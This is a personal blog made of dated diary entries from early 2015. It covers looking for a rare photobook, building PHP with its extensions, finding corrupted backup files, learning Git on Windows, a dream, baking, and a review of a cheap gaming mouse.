In the afternoon I noticed a book on eBay called Great Stalinist Photographic Books - RODCHENKO, EL LISSITZKY - Rare, Brand New, which was selling for £200! I checked Amazon, and it was a similar price on there too. However, doing a bit more checking it seems it can be had cheaper (though still expensively) - $70.90 + $3.99 shipping new from Amazon Marketplace (a different entry for the book where it is titled Paradnaja kniga Strany Sovetov. 2007 / Great Stalinist Photographic Books (Fotoiskusstvo) (Hardcover)). Or from Ozonru, where it is selling for £41.40.

I contacted another website that had the book listed and had a price, but didn't seem to have any way to buy online. So I'll see if it can be had cheaper from there. Likely they don't have it in stock, don't ship to the UK, or want the payment through WebMoney (which is not available in the UK).

Saturday, 7 February 2015

Descripting

This morning I did some work on a couple of my wordpress plugins.

In the afternoon I wrote a blog post for my photography blog. I got that done fairly quickly. Then I realised that I would really need to add descriptions and keywords for the images to illustrate the blog post, and then upload the images to the site. So I spent most of the rest of the afternoon and evening doing that.

The description writing process was fairly simple. I didn't have any photos of buildings I needed to research to try and find out what they were. It was just photos of trees and fields. I just had to write a description of what was in the image. But it still took me ages.

Anyway, at least I got it done in the end. Though I still haven't selected which ones to use to illustrate the blog post, or uploaded any of them yet. A task I can finish off tomorrow hopefully.

Monday, 2 February 2015

Exiting a dream

This morning I was having a dream, I can't remember most of it, but I do remember the end. I was going on a 2D computer game featuring Toad (from the Mario games) on an old yellowed plastic CRT monitor. The monitor was in front of some windows.

I needed to finish what I was doing (possibly I knew it was time to wake up?), so I tried to pull the curtains, from one side at a time. After I'd pulled the curtains on each side of the window, there was still a big gap between them. So I pulled the right curtain a bit more, but still there was a gap. I pulled the left curtain a bit more, and there was still a gap left.

I looked up at where the right curtain was attached to the curtain rail and noticed it was scrunched up. I gave it a hard tug and it nearly closed the gap, there was just a small gap left, which I thought was good enough. But further down was a larger gap, I looked and noticed that the left curtain was scrunched up at the bottom.

But in the gap between the curtains, sitting on the window sill, was a model of a man (not an accurate model) made from octagonal tazos. But unlike in real life, most of the tazos were positioned just one above the other. (They need to be positioned at right-angles to one another to be able to lock together in real life).

I figured that if I unscrunched the bottom of the left curtain so that it covered the model, then when pulling the curtains the next day, it might knock the figure over, so I might as well leave the curtain as it was.

On the computer I pressed the Esc key to quit the game I was going on. Then I realised that I had forgotten to save, and the game just quits when you press Esc without asking you if you want to save. This wasn't a problem in that I hadn't done anything on the game. But I knew that next time I tried to go on it I would get a message that I had quit without saving.

I then shut down the computer, which involved bringing up an on-screen keyboard that had a 'quit' or 'exit' (I can't remember) button at the top left. Then my dream ended. So it seems that this actually quit my dream.

Monday, 26 January 2015

Trying to build PHP for 3 days and binary comparing

Someone asked me about writing a wordpress plugin for them, and to do this I needed to rely on another wordpress plugin. Only problem was that the other plugin wouldn't run on my PHP installation as it required the gmp or bcmath extensions, neither of which my PHP installation included.

So I tried building the latest version of PHP, along with the latest versions of the libs the various extensions I need depend on. The first problem I had was that I couldn't get openldap to build. After looking into it, it seems that Oracle changed their licence terms for the newer versions of BerkleyDB and openldap is not 'compatible' with these licence terms. So it includes a check to make sure it won't work with the newer versions of BerkleyDB.

I couldn't see how to get openldap compiled without BerkleyDB, so I just gave up. I don't really need the ldap extension for PHP anyway.

After building all the needed dependencies, I tried building PHP, but got an error during compiling. I searched to see if anyone else had the same problem, and there didn't seem to be a solution. Just debugging advice - try and work out the minimum configure needed to reproduce the error, so you can see if it is a certain extension or two conflicting extensions causing the problem.

I then spent almost three days just trying to build PHP, changing some option, trying again, etc. in an effort to work out what the problem was.

The strange thing is, that when I started doing this, I got a different error relating to openssl, even if I was compiling with no other extensions specified in my configure line. Adding --disable-all to configure, I then managed to build with openssl. Gradually adding all the options back got me to the point where the original error message popped up again.

After many more build attempts I figured out the issue was my usage of the tidy-nu lib rather than the very old and outdated tidy. Changing this back to the old tidy and removing the --disable-all I was able to build okay. But that doesn't really make sense - what happened to the openssl error I was getting previously? Anyway, I guess finally getting it to build was the main thing.

Each build attempt takes at least half an hour before you see whether it was successful or not. This is why it took three days of changing the different configure options, rebuilding, then seeing if it worked or not before trying again with different options to narrow down the problem.

Today I was doing my morning backup as usual, but my backup drive was full. So I decided to re-organise my files a bit and move some to another drive. After moving the files I did a binary compare against one of the backups, and a few files were different. One was a Photoshop file, and one of the layers in the backup file had become corrupted. Another was a NEF (Nikon RAW file) that had become corrupted on the backup.

Two were large panoramas with many layers. I looked through the images, layer by layer, looking to see any evidence of corruption, both the backup copies and the originals. This took quite a while. However I couldn't see any problems. Since the other two images were both corrupted on the backups I decided to just copy the originals over the backups. The reason for doing this is just to avoid those files being flagged again in a binary compare in the future and me having to perform the same procedure.

With the files safely in their new location I backed them up to one of the disks I use for backing up the drive they are now located on. After doing that I ran a binary compare between the two drives. The new files had all copied okay, but there were a few corrupted files in other places, again, all on the backup. As well as images there were also some shortcuts that had become corrupted, and even a text file:

Thursday, 8 January 2015

Baking, checking, and fixing

Yesterday I was doing my monthly website stats checking, and also made some Eccles Cakes. I made the Eccles Cakes with grapefruit zest rather than lemon or orange, and I don't think they were as nice as normal.

As usual, my stats checking brought a number of issues to my attention, and so this morning (and yesterday evening) was spent looking into those issues and trying to fix them.

Tuesday, 6 January 2015

Gitting

Today I was trying to learn how to use Git. I started reading Sitepoint's Git Fundamentals ebook a week or so ago, then finished it off today. Unfortunately it was pretty useless and written for mac / linux users. E.g. discussing the head command it says to use HEAD^, but ^ is an escape character in Windows so you actually need to type HEAD^^.

I found a much better guide, which is free, here: Git Tutorial. This covers much more and explains the different commands better than the Sitepoint guide (though the section about branches seems to be in the wrong place). The Sitepoint guide doesn't really cover enough to start using git for real purposes, only enough for a very simple demonstration.

In the evening I set up git for one of my websites and started making some changes.

Thursday, 1 January 2015

Luminous Game Mouse Review

I thought I'd review my cheap mouse I bought from eBay because it has a good chinglish box. It was sold on eBay as 6 Buttons Adjustable USB Wired Optical Game Gaming PC Laptop Mouse Mice 1600 DPI.

As you can see from the box, it allows you to Easily control the infinite passion. I also really like the box design, with the rainbow coloured wordart at the bottom. Unfortunately you can't see it in the photo above, but under where it says USB in the bottom left corner, it tells you the interface is High-Speeounivwrsal Serial Bus. This is also repeated on the back of the box:

Regarding the actual mouse, it works fine. There are two minor issues. One is that I sometimes accidentally press the side button to go back a page when browsing the web. The other is that the constantly on blue light is a bit annoying. If I was buying again, I'd pay a bit more and go for a mouse without built-in lighting. (Seems stupid that you have to pay more to not have something).

(The light is actually quite a bit brighter than in the above photo in real life).

Anyway, as it arrived quickly (dispatched from the UK) and didn't cost much, I am pretty happy with it. My old mouse broke, so I didn't want to wait for a month for a cheaper / no lights model from China / Hong Kong.

Update 2016-10-24: A few months ago the left mouse button started to develop a problem, and this gradually got worse until I found the mouse too difficult to work with, and so got rid of it. The problem was mainly that when clicking and dragging the click would release half-way through the drag. The actual button didn't pop-up or anything weird like that, just the click would terminate part-way through the drag. Occasionally a standard left-click wouldn't register as well. So the mouse gave about a year and a half of decent use.